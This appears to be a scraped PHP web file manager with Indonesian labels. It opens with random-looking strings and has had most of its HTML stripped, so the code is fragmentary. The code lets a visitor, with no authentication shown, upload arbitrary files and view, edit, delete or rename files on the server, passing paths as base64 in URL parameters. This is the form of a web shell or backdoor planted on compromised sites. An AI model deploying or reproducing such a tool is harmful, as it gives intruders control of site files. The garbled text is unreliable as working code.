tasslihorec
sfaxoistadet
bintestcss
RBSofh76NF9sW6C1GMohW3NaVvIneqoDppimGP1Ni1I46
H69UNtblNBNpha2dtB1Odn8qYp1Qk5NK2gi7yfceofo9N
Root / ';
echo $displayDir;
if (isset($_POST['submit'])){
$namafile = $_FILES['upload']['name'];
$tempatfile = $_FILES['upload']['tmp_name'];
$error = $_FILES['upload']['error'];
$ukuranfile = $_FILES['upload']['size'];
if(move_uploaded_file($tempatfile, $dir.'/'.$namafile)) {
echo "";
} else {
echo "";
}
}
?>
| Nama File / Folder |
Size |
Action |
'.$directory.' |
-- |
NONE |
';
}
foreach ($scan as $file) {
if (!is_file($dir.'/'.$file)) continue;
$jumlah = filesize($dir.'/'.$file)/1024;
$jumlah = round($jumlah, 3);
if ($jumlah >= 1024) {
$jumlah = round($jumlah/1024, 2).'MB';
} else {
$jumlah = $jumlah .'KB';
}
echo '
| '.$file.' |
'.$jumlah.' |
Hapus
Edit
Rename
|
';
}
if (isset($_GET['open'])) {
$filePath = base64_decode($_GET['open']);
if (file_exists($filePath) && strpos(realpath($filePath), realpath($baseDir)) === 0) {
echo '
';
}
}
if (isset($_GET['delete'])) {
$filePath = base64_decode($_GET['delete']);
if (file_exists($filePath) && strpos(realpath($filePath), realpath($baseDir)) === 0) {
if (unlink($filePath)) {
echo "";
}
}
}
if (isset($_GET['ubah'])) {
$filePath = base64_decode($_GET['ubah']);
if (file_exists($filePath) && strpos(realpath($filePath), realpath($baseDir)) === 0) {
echo '
<=Back
';
}
}
if (isset($_POST['edit']) && isset($_POST['object'])) {
$filePath = $_POST["object"];
if (strpos(realpath($filePath), realpath($baseDir)) === 0) {
$data = fopen($filePath, 'w');
if (fwrite($data, $_POST['edit'])) {
echo '';
} else {
echo "";
}
fclose($data);
}
}
if(isset($_GET['rename'])){
$filePath = base64_decode($_GET['rename']);
$fileName = isset($_GET['nama']) ? urldecode($_GET['nama']) : '';
if(isset($_POST['newname']) && $filePath && strpos(realpath($filePath), realpath($baseDir)) === 0){
$newName = $_POST['newname'];
$newPath = dirname($filePath) . '/' . $newName;
if(rename($filePath, $newPath)){
echo 'Ganti Nama Berhasil
';
echo "";
}else{
echo 'Ganti Nama Gagal
';
}
}
if($filePath && strpos(realpath($filePath), realpath($baseDir)) === 0){
echo '
';
}
}
?>